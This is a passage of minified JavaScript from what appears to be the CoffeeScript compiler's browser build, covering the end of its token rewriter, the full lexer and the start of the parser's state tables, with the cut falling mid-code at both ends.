t[1];case\"@\"!==this.tag(l-2):return l-2;default:return l-1}}.call(this);\"HERECOMMENT\"===this.tag(P-2);)P-=2;return this.insideForDeclaration=\"FOR\"===x,U=0===P||(O=this.tag(P-1),w.call(c,O)>=0)||h[P-1].newLine,F()&&(M=F(),j=M[0],B=M[1],(\"{\"===j||\"INDENT\"===j&&\"{\"===this.tag(B-1))&&(U||\",\"===this.tag(P-1)||\"{\"===this.tag(P-1)))?m(1):(R(P,!!U),m(2))}if(E()&&w.call(c,z)>=0&&(F()[2].sameLine=!1),S=\"OUTDENT\"===N||C.newLine,w.call(u,z)>=0||w.call(n,z)>=0&&S)for(;g();)if(_=F(),j=_[0],B=_[1],D=_[2],H=D.sameLine,U=D.startsLine,y()&&\",\"!==N)p();else if(E()&&!this.insideForDeclaration&&H&&\"TERMINATOR\"!==z&&\":\"!==N)v();else{if(!E()||\"TERMINATOR\"!==z||\",\"===N||U&&this.looksObjectish(l+1))break;if(\"HERECOMMENT\"===x)return m(1);v()}if(!(\",\"!==z||this.looksObjectish(l+1)||!E()||this.insideForDeclaration||\"TERMINATOR\"===x&&this.looksObjectish(l+2)))for(T=\"OUTDENT\"===x?1:0;E();)v(l+T);return m(1)}return e.push([\"CONTROL\",l,{ours:!0}]),m(1)})},e.prototype.addLocationDataToGeneratedTokens=function(){return this.scanTokens(function(e,t,n){var r,i,s,o,u,a;return e[2]?1:e.generated||e.explicit?(\"{\"===e[0]&&(s=null!=(u=n[t+1])?u[2]:void 0)?(i=s.first_line,r=s.first_column):(o=null!=(a=n[t-1])?a[2]:void 0)?(i=o.last_line,r=o.last_column):i=r=0,e[2]={first_line:i,first_column:r,last_line:i,last_column:r},1):1})},e.prototype.normalizeLines=function(){var e,t,i,s,o;return o=i=s=null,t=function(e,t){var i,s,u,a;return\";\"!==e[1]&&(i=e[0],w.call(h,i)>=0)&&!(\"TERMINATOR\"===e[0]&&(s=this.tag(t+1),w.call(r,s)>=0))&&(\"ELSE\"!==e[0]||\"THEN\"===o)&&(\"CATCH\"!==(u=e[0])&&\"FINALLY\"!==u||\"->\"!==o&&\"=>\"!==o)||(a=e[0],w.call(n,a)>=0&&this.tokens[t-1].newLine)},e=function(e,t){return this.tokens.splice(\",\"===this.tag(t-1)?t-1:t,0,s)},this.scanTokens(function(n,u,a){var f,l,c,h,d,v;if(v=n[0],\"TERMINATOR\"===v){if(\"ELSE\"===this.tag(u+1)&&\"OUTDENT\"!==this.tag(u-1))return a.splice.apply(a,[u,1].concat(E.call(this.indentation()))),1;if(c=this.tag(u+1),w.call(r,c)>=0)return a.splice(u,1),0}if(\"CATCH\"===v)for(f=l=1;2>=l;f=++l)if(\"OUTDENT\"===(h=this.tag(u+f))||\"TERMINATOR\"===h||\"FINALLY\"===h)return a.splice.apply(a,[u+f,0].concat(E.call(this.indentation()))),2+f;return w.call(p,v)>=0&&\"INDENT\"!==this.tag(u+1)&&(\"ELSE\"!==v||\"IF\"!==this.tag(u+1))?(o=v,d=this.indentation(a[u]),i=d[0],s=d[1],\"THEN\"===o&&(i.fromThen=!0),a.splice(u+1,0,i),this.detectEnd(u+2,t,e),\"THEN\"===v&&a.splice(u,1),1):1})},e.prototype.tagPostfixConditionals=function(){var e,t,n;return n=null,t=function(e,t){var n,r;return r=e[0],n=this.tokens[t-1][0],\"TERMINATOR\"===r||\"INDENT\"===r&&0>w.call(p,n)},e=function(e){return\"INDENT\"!==e[0]||e.generated&&!e.fromThen?n[0]=\"POST_\"+n[0]:void 0},this.scanTokens(function(r,i){return\"IF\"!==r[0]?1:(n=r,this.detectEnd(i+1,t,e),1)})},e.prototype.indentation=function(e){var t,n;return t=[\"INDENT\",2],n=[\"OUTDENT\",2],e?(t.generated=n.generated=!0,t.origin=n.origin=e):t.explicit=n.explicit=!0,[t,n]},e.prototype.generate=d,e.prototype.tag=function(e){var t;return null!=(t=this.tokens[e])?t[0]:void 0},e}(),t=[[\"(\",\")\"],[\"[\",\"]\"],[\"{\",\"}\"],[\"INDENT\",\"OUTDENT\"],[\"CALL_START\",\"CALL_END\"],[\"PARAM_START\",\"PARAM_END\"],[\"INDEX_START\",\"INDEX_END\"],[\"STRING_START\",\"STRING_END\"],[\"REGEX_START\",\"REGEX_END\"]],e.INVERSES=l={},s=[],i=[],v=0,g=t.length;g>v;v++)y=t[v],m=y[0],b=y[1],s.push(l[b]=m),i.push(l[m]=b);r=[\"CATCH\",\"THEN\",\"ELSE\",\"FINALLY\"].concat(i),a=[\"IDENTIFIER\",\"SUPER\",\")\",\"CALL_END\",\"]\",\"INDEX_END\",\"@\",\"THIS\"],o=[\"IDENTIFIER\",\"NUMBER\",\"STRING\",\"STRING_START\",\"JS\",\"REGEX\",\"REGEX_START\",\"NEW\",\"PARAM_START\",\"CLASS\",\"IF\",\"TRY\",\"SWITCH\",\"THIS\",\"BOOL\",\"NULL\",\"UNDEFINED\",\"UNARY\",\"YIELD\",\"UNARY_MATH\",\"SUPER\",\"THROW\",\"@\",\"->\",\"=>\",\"[\",\"(\",\"{\",\"--\",\"++\"],f=[\"+\",\"-\"],u=[\"POST_IF\",\"FOR\",\"WHILE\",\"UNTIL\",\"WHEN\",\"BY\",\"LOOP\",\"TERMINATOR\"],p=[\"ELSE\",\"->\",\"=>\",\"TRY\",\"FINALLY\",\"THEN\"],h=[\"TERMINATOR\",\"CATCH\",\"FINALLY\",\"ELSE\",\"OUTDENT\",\"LEADING_WHEN\"],c=[\"TERMINATOR\",\"INDENT\",\"OUTDENT\"],n=[\".\",\"?.\",\"::\",\"?::\"]}.call(this),t.exports}(),_dereq_[\"./lexer\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D,P,H,B,j,F,I,q,R,U,z,W,X,V,$,J,K,Q,G,Y,Z,et,tt,nt,rt,it,st,ot,ut,at,ft,lt,ct=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};ot=_dereq_(\"./rewriter\"),R=ot.Rewriter,E=ot.INVERSES,ut=_dereq_(\"./helpers\"),nt=ut.count,ft=ut.starts,tt=ut.compact,at=ut.repeat,rt=ut.invertLiterate,st=ut.locationDataToString,lt=ut.throwSyntaxError,e.Lexer=A=function(){function e(){}return e.prototype.tokenize=function(e,t){var n,r,i,s;for(null==t&&(t={}),this.literate=t.literate,this.indent=0,this.baseIndent=0,this.indebt=0,this.outdebt=0,this.indents=[],this.ends=[],this.tokens=[],this.chunkLine=t.line||0,this.chunkColumn=t.column||0,e=this.clean(e),i=0;this.chunk=e.slice(i);)if(n=this.identifierToken()||this.commentToken()||this.whitespaceToken()||this.lineToken()||this.stringToken()||this.numberToken()||this.regexToken()||this.jsToken()||this.literalToken(),s=this.getLineAndColumnFromChunk(n),this.chunkLine=s[0],this.chunkColumn=s[1],i+=n,t.untilBalanced&&0===this.ends.length)return{tokens:this.tokens,index:i};return this.closeIndentation(),(r=this.ends.pop())&&this.error(\"missing \"+r.tag,r.origin[2]),t.rewrite===!1?this.tokens:(new R).rewrite(this.tokens)},e.prototype.clean=function(e){return e.charCodeAt(0)===t&&(e=e.slice(1)),e=e.replace(/\\r/g,\"\").replace(Q,\"\"),et.test(e)&&(e=\"\\n\"+e,this.chunkLine--),this.literate&&(e=rt(e)),e},e.prototype.identifierToken=function(){var e,t,n,r,i,a,f,l,c,h,p,d,v,m,y,b;return(l=g.exec(this.chunk))?(f=l[0],i=l[1],t=l[2],a=i.length,c=void 0,\"own\"===i&&\"FOR\"===this.tag()?(this.token(\"OWN\",i),i.length):\"from\"===i&&\"YIELD\"===this.tag()?(this.token(\"FROM\",i),i.length):(p=this.tokens,h=p[p.length-1],r=t||null!=h&&(\".\"===(d=h[0])||\"?.\"===d||\"::\"===d||\"?::\"===d||!h.spaced&&\"@\"===h[0]),y=\"IDENTIFIER\",!r&&(ct.call(T,i)>=0||ct.call(u,i)>=0)&&(y=i.toUpperCase(),\"WHEN\"===y&&(v=this.tag(),ct.call(C,v)>=0)?y=\"LEADING_WHEN\":\"FOR\"===y?this.seenFor=!0:\"UNLESS\"===y?y=\"IF\":ct.call(G,y)>=0?y=\"UNARY\":ct.call(I,y)>=0&&(\"INSTANCEOF\"!==y&&this.seenFor?(y=\"FOR\"+y,this.seenFor=!1):(y=\"RELATION\",\"!\"===this.value()&&(c=this.tokens.pop(),i=\"!\"+i)))),ct.call(x,i)>=0&&(r?(y=\"IDENTIFIER\",i=new String(i),i.reserved=!0):ct.call(q,i)>=0&&this.error(\"reserved word '\"+i+\"'\",{length:i.length})),r||(ct.call(s,i)>=0&&(e=i,i=o[i]),y=function(){switch(i){case\"!\":return\"UNARY\";case\"==\":case\"!=\":return\"COMPARE\";case\"&&\":case\"||\":return\"LOGIC\";case\"true\":case\"false\":return\"BOOL\";case\"break\":case\"continue\":return\"STATEMENT\";default:return y}}()),b=this.token(y,i,0,a),e&&(b.origin=[y,e,b[2]]),b.variable=!r,c&&(m=[c[2].first_line,c[2].first_column],b[2].first_line=m[0],b[2].first_column=m[1]),t&&(n=f.lastIndexOf(\":\"),this.token(\":\",\":\",n,t.length)),f.length)):0},e.prototype.numberToken=function(){var e,t,n,r,i;return(n=D.exec(this.chunk))?(r=n[0],t=r.length,/^0[BOX]/.test(r)?this.error(\"radix prefix in '\"+r+\"' must be lowercase\",{offset:1}):/E/.test(r)&&!/^0x/.test(r)?this.error(\"exponential notation in '\"+r+\"' must be indicated with a lowercase 'e'\",{offset:r.indexOf(\"E\")}):/^0\\d*[89]/.test(r)?this.error(\"decimal literal '\"+r+\"' must not be prefixed with '0'\",{length:t}):/^0\\d+/.test(r)&&this.error(\"octal literal '\"+r+\"' must be prefixed with '0o'\",{length:t}),(i=/^0o([0-7]+)/.exec(r))&&(r=\"0x\"+parseInt(i[1],8).toString(16)),(e=/^0b([01]+)/.exec(r))&&(r=\"0x\"+parseInt(e[1],2).toString(16)),this.token(\"NUMBER\",r,0,t),t):0},e.prototype.stringToken=function(){var e,t,n,r,i,s,o,u,a,f,l,c,v,m,g,y;if(l=(J.exec(this.chunk)||[])[0],!l)return 0;if(m=function(){switch(l){case\"'\":return $;case'\"':return X;case\"'''\":return d;case'\"\"\"':return h}}(),s=3===l.length,c=this.matchWithInterpolations(m,l),y=c.tokens,i=c.index,e=y.length-1,n=l.charAt(0),s){for(u=null,r=function(){var e,t,n;for(n=[],o=e=0,t=y.length;t>e;o=++e)g=y[o],\"NEOSTRING\"===g[0]&&n.push(g[1]);return n}().join(\"#{}\");f=p.exec(r);)t=f[1],(null===u||(v=t.length)>0&&u.length>v)&&(u=t);u&&(a=RegExp(\"^\"+u,\"gm\")),this.mergeInterpolationTokens(y,{delimiter:n},function(t){return function(n,r){return n=t.formatString(n),0===r&&(n=n.replace(N,\"\")),r===e&&(n=n.replace(K,\"\")),a&&(n=n.replace(a,\"\")),n}}(this))}else this.mergeInterpolationTokens(y,{delimiter:n},function(t){return function(n,r){return n=t.formatString(n),n=n.replace(z,function(t,i){return 0===r&&0===i||r===e&&i+t.length===n.length?\"\":\" \"})}}(this));return i},e.prototype.commentToken=function(){var e,t,n;return(n=this.chunk.match(a))?(e=n[0],t=n[1],t&&((n=c.exec(e))&&this.error(\"block comments cannot contain \"+n[0],{offset:n.index,length:n[0].length}),t.indexOf(\"\\n\")>=0&&(t=t.replace(RegExp(\"\\\\n\"+at(\" \",this.indent),\"g\"),\"\\n\")),this.token(\"HERECOMMENT\",t,0,e.length)),e.length):0},e.prototype.jsToken=function(){var e,t;return\"`\"===this.chunk.charAt(0)&&(e=S.exec(this.chunk))?(this.token(\"JS\",(t=e[0]).slice(1,-1),0,t.length),t.length):0},e.prototype.regexToken=function(){var e,t,n,i,s,o,u,a,f,l,c,h,p;switch(!1){case!(o=F.exec(this.chunk)):this.error(\"regular expressions cannot begin with \"+o[2],{offset:o.index+o[1].length});break;case!(o=this.matchWithInterpolations(v,\"///\")):p=o.tokens,s=o.index;break;case!(o=B.exec(this.chunk)):if(h=o[0],e=o[1],t=o[2],this.validateEscapes(e,{isRegex:!0,offsetInChunk:1}),s=h.length,f=this.tokens,a=f[f.length-1],a)if(a.spaced&&(l=a[0],ct.call(r,l)>=0)){if(!t||H.test(h))return 0}else if(c=a[0],ct.call(_,c)>=0)return 0;t||this.error(\"missing / (unclosed regex)\");break;default:return 0}switch(i=j.exec(this.chunk.slice(s))[0],n=s+i.length,u=this.makeToken(\"REGEX\",null,0,n),!1){case!!Z.test(i):this.error(\"invalid regular expression flags \"+i,{offset:s,length:i.length});break;case!h&&1!==p.length:null==e&&(e=this.formatHeregex(p[0][1])),this.token(\"REGEX\",\"\"+this.makeDelimitedLiteral(e,{delimiter:\"/\"})+i,0,n,u);break;default:this.token(\"REGEX_START\",\"(\",0,0,u),this.token(\"IDENTIFIER\",\"RegExp\",0,0),this.token(\"CALL_START\",\"(\",0,0),this.mergeInterpolationTokens(p,{delimiter:'\"',\"double\":!0},this.formatHeregex),i&&(this.token(\",\",\",\",s,0),this.token(\"STRING\",'\"'+i+'\"',s,i.length)),this.token(\")\",\")\",n,0),this.token(\"REGEX_END\",\")\",n,0)}return n},e.prototype.lineToken=function(){var e,t,n,r,i;if(!(n=M.exec(this.chunk)))return 0;if(t=n[0],this.seenFor=!1,i=t.length-1-t.lastIndexOf(\"\\n\"),r=this.unfinished(),i-this.indebt===this.indent)return r?this.suppressNewlines():this.newlineToken(0),t.length;if(i>this.indent){if(r)return this.indebt=i-this.indent,this.suppressNewlines(),t.length;if(!this.tokens.length)return this.baseIndent=this.indent=i,t.length;e=i-this.indent+this.outdebt,this.token(\"INDENT\",e,t.length-i,i),this.indents.push(e),this.ends.push({tag:\"OUTDENT\"}),this.outdebt=this.indebt=0,this.indent=i}else this.baseIndent>i?this.error(\"missing indentation\",{offset:t.length}):(this.indebt=0,this.outdentToken(this.indent-i,r,t.length));return t.length},e.prototype.outdentToken=function(e,t,n){var r,i,s,o;for(r=this.indent-e;e>0;)s=this.indents[this.indents.length-1],s?s===this.outdebt?(e-=this.outdebt,this.outdebt=0):this.outdebt>s?(this.outdebt-=s,e-=s):(i=this.indents.pop()+this.outdebt,n&&(o=this.chunk[n],ct.call(y,o)>=0)&&(r-=i-e,e=i),this.outdebt=0,this.pair(\"OUTDENT\"),this.token(\"OUTDENT\",e,0,n),e-=i):e=0;for(i&&(this.outdebt-=e);\";\"===this.value();)this.tokens.pop();return\"TERMINATOR\"===this.tag()||t||this.token(\"TERMINATOR\",\"\\n\",n,0),this.indent=r,this},e.prototype.whitespaceToken=function(){var e,t,n,r;return(e=et.exec(this.chunk))||(t=\"\\n\"===this.chunk.charAt(0))?(r=this.tokens,n=r[r.length-1],n&&(n[e?\"spaced\":\"newLine\"]=!0),e?e[0].length:0):0},e.prototype.newlineToken=function(e){for(;\";\"===this.value();)this.tokens.pop();return\"TERMINATOR\"!==this.tag()&&this.token(\"TERMINATOR\",\"\\n\",e,0),this},e.prototype.suppressNewlines=function(){return\"\\\\\"===this.value()&&this.tokens.pop(),this},e.prototype.literalToken=function(){var e,t,n,s,o,u,a,c,h,p;if((e=P.exec(this.chunk))?(p=e[0],i.test(p)&&this.tagParameters()):p=this.chunk.charAt(0),c=p,n=this.tokens,t=n[n.length-1],\"=\"===p&&t&&(!t[1].reserved&&(s=t[1],ct.call(x,s)>=0)&&(t.origin&&(t=t.origin),this.error(\"reserved word '\"+t[1]+\"' can't be assigned\",t[2])),\"||\"===(o=t[1])||\"&&\"===o))return t[0]=\"COMPOUND_ASSIGN\",t[1]+=\"=\",p.length;if(\";\"===p)this.seenFor=!1,c=\"TERMINATOR\";else if(ct.call(O,p)>=0)c=\"MATH\";else if(ct.call(f,p)>=0)c=\"COMPARE\";else if(ct.call(l,p)>=0)c=\"COMPOUND_ASSIGN\";else if(ct.call(G,p)>=0)c=\"UNARY\";else if(ct.call(Y,p)>=0)c=\"UNARY_MATH\";else if(ct.call(U,p)>=0)c=\"SHIFT\";else if(ct.call(L,p)>=0||\"?\"===p&&(null!=t?t.spaced:void 0))c=\"LOGIC\";else if(t&&!t.spaced)if(\"(\"===p&&(u=t[0],ct.call(r,u)>=0))\"?\"===t[0]&&(t[0]=\"FUNC_EXIST\"),c=\"CALL_START\";else if(\"[\"===p&&(a=t[0],ct.call(b,a)>=0))switch(c=\"INDEX_START\",t[0]){case\"?\":t[0]=\"INDEX_SOAK\"}switch(h=this.makeToken(c,p),p){case\"(\":case\"{\":case\"[\":this.ends.push({tag:E[p],origin:h});break;case\")\":case\"}\":case\"]\":this.pair(p)}return this.tokens.push(h),p.length},e.prototype.tagParameters=function(){var e,t,n,r;if(\")\"!==this.tag())return this;for(t=[],r=this.tokens,e=r.length,r[--e][0]=\"PARAM_END\";n=r[--e];)switch(n[0]){case\")\":t.push(n);break;case\"(\":case\"CALL_START\":if(!t.length)return\"(\"===n[0]?(n[0]=\"PARAM_START\",this):this;t.pop()}return this},e.prototype.closeIndentation=function(){return this.outdentToken(this.indent)},e.prototype.matchWithInterpolations=function(t,n){var r,i,s,o,u,a,f,l,c,h,p,d,v,m,g;if(g=[],l=n.length,this.chunk.slice(0,l)!==n)return null;for(v=this.chunk.slice(l);;){if(m=t.exec(v)[0],this.validateEscapes(m,{isRegex:\"/\"===n.charAt(0),offsetInChunk:l}),g.push(this.makeToken(\"NEOSTRING\",m,l)),v=v.slice(m.length),l+=m.length,\"#{\"!==v.slice(0,2))break;h=this.getLineAndColumnFromChunk(l+1),a=h[0],i=h[1],p=(new e).tokenize(v.slice(1),{line:a,column:i,untilBalanced:!0}),f=p.tokens,o=p.index,o+=1,c=f[0],r=f[f.length-1],c[0]=c[1]=\"(\",r[0]=r[1]=\")\",r.origin=[\"\",\"end of interpolation\",r[2]],\"TERMINATOR\"===(null!=(d=f[1])?d[0]:void 0)&&f.splice(1,1),g.push([\"TOKENS\",f]),v=v.slice(o),l+=o}return v.slice(0,n.length)!==n&&this.error(\"missing \"+n,{length:n.length}),s=g[0],u=g[g.length-1],s[2].first_column-=n.length,u[2].last_column+=n.length,0===u[1].length&&(u[2].last_column-=1),{tokens:g,index:l+n.length}},e.prototype.mergeInterpolationTokens=function(e,t,n){var r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y;for(e.length>1&&(c=this.token(\"STRING_START\",\"(\",0,0)),s=this.tokens.length,o=u=0,f=e.length;f>u;o=++u){switch(m=e[o],v=m[0],y=m[1],v){case\"TOKENS\":if(2===y.length)continue;l=y[0],g=y;break;case\"NEOSTRING\":if(r=n(m[1],o),0===r.length){if(0!==o)continue;i=this.tokens.length}2===o&&null!=i&&this.tokens.splice(i,2),m[0]=\"STRING\",m[1]=this.makeDelimitedLiteral(r,t),l=m,g=[m]}this.tokens.length>s&&(h=this.token(\"+\",\"+\"),h[2]={first_line:l[2].first_line,first_column:l[2].first_column,last_line:l[2].first_line,last_column:l[2].first_column}),(p=this.tokens).push.apply(p,g)}return c?(a=e[e.length-1],c.origin=[\"STRING\",null,{first_line:c[2].first_line,first_column:c[2].first_column,last_line:a[2].last_line,last_column:a[2].last_column}],d=this.token(\"STRING_END\",\")\"),d[2]={first_line:a[2].last_line,first_column:a[2].last_column,last_line:a[2].last_line,last_column:a[2].last_column}):void 0},e.prototype.pair=function(e){var t,n,r,i,s;return r=this.ends,n=r[r.length-1],e!==(s=null!=n?n.tag:void 0)?(\"OUTDENT\"!==s&&this.error(\"unmatched \"+e),i=this.indents,t=i[i.length-1],this.outdentToken(t,!0),this.pair(e)):this.ends.pop()},e.prototype.getLineAndColumnFromChunk=function(e){var t,n,r,i,s;return 0===e?[this.chunkLine,this.chunkColumn]:(s=e>=this.chunk.length?this.chunk:this.chunk.slice(0,+(e-1)+1||9e9),r=nt(s,\"\\n\"),t=this.chunkColumn,r>0?(i=s.split(\"\\n\"),n=i[i.length-1],t=n.length):t+=s.length,[this.chunkLine+r,t])},e.prototype.makeToken=function(e,t,n,r){var i,s,o,u,a;return null==n&&(n=0),null==r&&(r=t.length),s={},o=this.getLineAndColumnFromChunk(n),s.first_line=o[0],s.first_column=o[1],i=Math.max(0,r-1),u=this.getLineAndColumnFromChunk(n+i),s.last_line=u[0],s.last_column=u[1],a=[e,t,s]},e.prototype.token=function(e,t,n,r,i){var s;return s=this.makeToken(e,t,n,r),i&&(s.origin=i),this.tokens.push(s),s},e.prototype.tag=function(){var e,t;return e=this.tokens,t=e[e.length-1],null!=t?t[0]:void 0},e.prototype.value=function(){var e,t;return e=this.tokens,t=e[e.length-1],null!=t?t[1]:void 0},e.prototype.unfinished=function(){var e;return k.test(this.chunk)||\"\\\\\"===(e=this.tag())||\".\"===e||\"?.\"===e||\"?::\"===e||\"UNARY\"===e||\"MATH\"===e||\"UNARY_MATH\"===e||\"+\"===e||\"-\"===e||\"YIELD\"===e||\"**\"===e||\"SHIFT\"===e||\"RELATION\"===e||\"COMPARE\"===e||\"LOGIC\"===e||\"THROW\"===e||\"EXTENDS\"===e},e.prototype.formatString=function(e){return e.replace(V,\"$1\")},e.prototype.formatHeregex=function(e){return e.replace(m,\"$1$2\")},e.prototype.validateEscapes=function(e,t){var n,r,i,s,o,u,a,f;return null==t&&(t={}),s=w.exec(e),!s||(s[0],n=s[1],u=s[2],r=s[3],f=s[4],t.isRegex&&u&&\"0\"!==u.charAt(0))?void 0:(o=u?\"octal escape sequences are not allowed\":\"invalid escape sequence\",i=\"\\\\\"+(u||r||f),this.error(o+\" \"+i,{offset:(null!=(a=t.offsetInChunk)?a:0)+s.index+n.length,length:i.length}))},e.prototype.makeDelimitedLiteral=function(e,t){var n;return null==t&&(t={}),\"\"===e&&\"/\"===t.delimiter&&(e=\"(?:)\"),n=RegExp(\"(\\\\\\\\\\\\\\\\)|(\\\\\\\\0(?=[1-7]))|\\\\\\\\?(\"+t.delimiter+\")|\\\\\\\\?(?:(\\\\n)|(\\\\r)|(\\\\u2028)|(\\\\u2029))|(\\\\\\\\.)\",\"g\"),e=e.replace(n,function(e,n,r,i,s,o,u,a,f){switch(!1){case!n:return t.double?n+n:n;case!r:return\"\\\\x00\";case!i:return\"\\\\\"+i;case!s:return\"\\\\n\";case!o:return\"\\\\r\";case!u:return\"\\\\u2028\";case!a:return\"\\\\u2029\";case!f:return t.double?\"\\\\\"+f:f}}),\"\"+t.delimiter+e+t.delimiter},e.prototype.error=function(e,t){var n,r,i,s,o,u;return null==t&&(t={}),i=\"first_line\"in t?t:(o=this.getLineAndColumnFromChunk(null!=(s=t.offset)?s:0),r=o[0],n=o[1],o,{first_line:r,first_column:n,last_column:n+(null!=(u=t.length)?u:1)-1}),lt(e,i)},e}(),T=[\"true\",\"false\",\"null\",\"this\",\"new\",\"delete\",\"typeof\",\"in\",\"instanceof\",\"return\",\"throw\",\"break\",\"continue\",\"debugger\",\"yield\",\"if\",\"else\",\"switch\",\"for\",\"while\",\"do\",\"try\",\"catch\",\"finally\",\"class\",\"extends\",\"super\"],u=[\"undefined\",\"then\",\"unless\",\"until\",\"loop\",\"of\",\"by\",\"when\"],o={and:\"&&\",or:\"||\",is:\"==\",isnt:\"!=\",not:\"!\",yes:\"true\",no:\"false\",on:\"true\",off:\"false\"},s=function(){var e;e=[];for(it in o)e.push(it);return e}(),u=u.concat(s),q=[\"case\",\"default\",\"function\",\"var\",\"void\",\"with\",\"const\",\"let\",\"enum\",\"export\",\"import\",\"native\",\"implements\",\"interface\",\"package\",\"private\",\"protected\",\"public\",\"static\"],W=[\"arguments\",\"eval\",\"yield*\"],x=T.concat(q).concat(W),e.RESERVED=q.concat(T).concat(u).concat(W),e.STRICT_PROSCRIBED=W,t=65279,g=/^(?!\\d)((?:(?!\\s)[$\\w\\x7f-\\uffff])+)([^\\n\\S]*:(?!:))?/,D=/^0b[01]+|^0o[0-7]+|^0x[\\da-f]+|^\\d*\\.?\\d+(?:e[+-]?\\d+)?/i,P=/^(?:[-=]>|[-+*\\/%<>&|^!?=]=|>>>=?|([-+:])\\1|([&|<>*\\/%])\\2=?|\\?(\\.|::)|\\.{2,3})/,et=/^[^\\n\\S]+/,a=/^###([^#][\\s\\S]*?)(?:###[^\\n\\S]*|###$)|^(?:\\s*#(?!##[^#]).*)+/,i=/^[-=]>/,M=/^(?:\\n[^\\n\\S]*)+/,S=/^`[^\\\\`]*(?:\\\\.[^\\\\`]*)*`/,J=/^(?:'''|\"\"\"|'|\")/,$=/^(?:[^\\\\']|\\\\[\\s\\S])*/,X=/^(?:[^\\\\\"#]|\\\\[\\s\\S]|\\#(?!\\{))*/,d=/^(?:[^\\\\']|\\\\[\\s\\S]|'(?!''))*/,h=/^(?:[^\\\\\"#]|\\\\[\\s\\S]|\"(?!\"\")|\\#(?!\\{))*/,V=/((?:\\\\\\\\)+)|\\\\[^\\S\\n]*\\n\\s*/g,z=/\\s*\\n\\s*/g,p=/\\n+([^\\n\\S]*)(?=\\S)/g,B=/^\\/(?!\\/)((?:[^[\\/\\n\\\\]|\\\\[^\\n]|\\[(?:\\\\[^\\n]|[^\\]\\n\\\\])*\\])*)(\\/)?/,j=/^\\w*/,Z=/^(?!.*(.).*\\1)[imgy]*$/,v=/^(?:[^\\\\\\/#]|\\\\[\\s\\S]|\\/(?!\\/\\/)|\\#(?!\\{))*/,m=/((?:\\\\\\\\)+)|\\\\(\\s)|\\s+(?:#.*)?/g,F=/^(\\/|\\/{3}\\s*)(\\*)/,H=/^\\/=?\\s/,c=/\\*\\//,k=/^\\s*(?:,|\\??\\.(?![.\\d])|::)/,w=/((?:^|[^\\\\])(?:\\\\\\\\)*)\\\\(?:(0[0-7]|[1-7])|(x(?![\\da-fA-F]{2}).{0,2})|(u(?![\\da-fA-F]{4}).{0,4}))/,N=/^[^\\n\\S]*\\n/,K=/\\n[^\\n\\S]*$/,Q=/\\s+$/,l=[\"-=\",\"+=\",\"/=\",\"*=\",\"%=\",\"||=\",\"&&=\",\"?=\",\"<<=\",\">>=\",\">>>=\",\"&=\",\"^=\",\"|=\",\"**=\",\"//=\",\"%%=\"],G=[\"NEW\",\"TYPEOF\",\"DELETE\",\"DO\"],Y=[\"!\",\"~\"],L=[\"&&\",\"||\",\"&\",\"|\",\"^\"],U=[\"<<\",\">>\",\">>>\"],f=[\"==\",\"!=\",\"<\",\">\",\"<=\",\">=\"],O=[\"*\",\"/\",\"%\",\"//\",\"%%\"],I=[\"IN\",\"OF\",\"INSTANCEOF\"],n=[\"TRUE\",\"FALSE\"],r=[\"IDENTIFIER\",\")\",\"]\",\"?\",\"@\",\"THIS\",\"SUPER\"],b=r.concat([\"NUMBER\",\"STRING\",\"STRING_END\",\"REGEX\",\"REGEX_END\",\"BOOL\",\"NULL\",\"UNDEFINED\",\"}\",\"::\"]),_=b.concat([\"++\",\"--\"]),C=[\"INDENT\",\"OUTDENT\",\"TERMINATOR\"],y=[\")\",\"}\",\"]\"]}.call(this),t.exports}(),_dereq_[\"./parser\"]=function(){var e={},t={exports:e},n=function(){function e(){this.yy={}}var t=function(e,t,n,r){for(n=n||{},r=e.length;r--;n[e[r]]=t);return n},n=[1,20],r=[1,75],i=[1,71],s=[1,76],o=[1,77],u=[1,73],a=[1,74],f=[1,50],l=[1,52],c=[1,53],h=[1,54],p=[1,55],d=[1,45],v=[1,46],m=[1,27],g=[1,60],y=[1,61],b=[1,70],w=[1,43],E=[1,26],S=[1,58],x=[1,59],T=[1,57],N=[1,38],C=[1,44],k=[1,56],L=[1,65],A=[1,66],O=[1,67],M=[1,68],_=[1,42],D=[1,64],P=[1,29],H=[1,30],B=[1,31],j=[1,32],F=[1,33],I=[1,34],q=[1,35],R=[1,78],U=[1,6,26,34,108],z=[1,88],W=[1,81],X=[1,80],V=[1,79],$=[1,82],J=[1,83],K=[1,84],Q=[1,85],G=[1,86],Y=[1,87],Z=[1,91],et=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],tt=[1,97],nt=[1,98],rt=[1,99],it=[1,100],st=[1,102],ot=[1,103],ut=[1,96],at=[2,112],ft=[1,6,25,26,34,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],lt=[2,79],ct=[1,108],ht=[2,58],pt=[1,112],dt=[1,117],vt=[1,118],mt=[1,120],gt=[1,6,25,26,34,46,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],yt=[2,76],bt=[1,6,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],wt=[1,155],Et=[1,157],St=[1,152],xt=[1,6,25,26,34,46,55,60,63,72,73,74,75,77,79,80,84,86,90,91,92,97,99,108,110,111,112,116,117,132,135,136,139,140,141,142,143,144,145,146,147,148],Tt=[2,95],Nt=[1,6,25,26,34,49,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],Ct=[1,6,25,26,34,46,49,55,60,63,72,73,74,75,77,79,80,84,86,90,91,92,97,99,108,110,111,112,116,117,123,124,132,135,136,139,140,141,142,143,144,145,146,147,148],kt=[1,206],Lt=[1,205],At=[1,6,25,26,34,38,55,60,63,72,73,74,75,77,79,80,84,90,91,92,97,99,108,110,111,112,116,117,132,135,136,141,142,143,144,145,146,147],Ot=[2,56],Mt=[1,216],_t=[6,25,26,55,60],Dt=[6,25,26,46,55,60,63],Pt=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132,135,136,142,144,145,146,147],Ht=[1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,117,132],Bt=[72,73,74,75,77,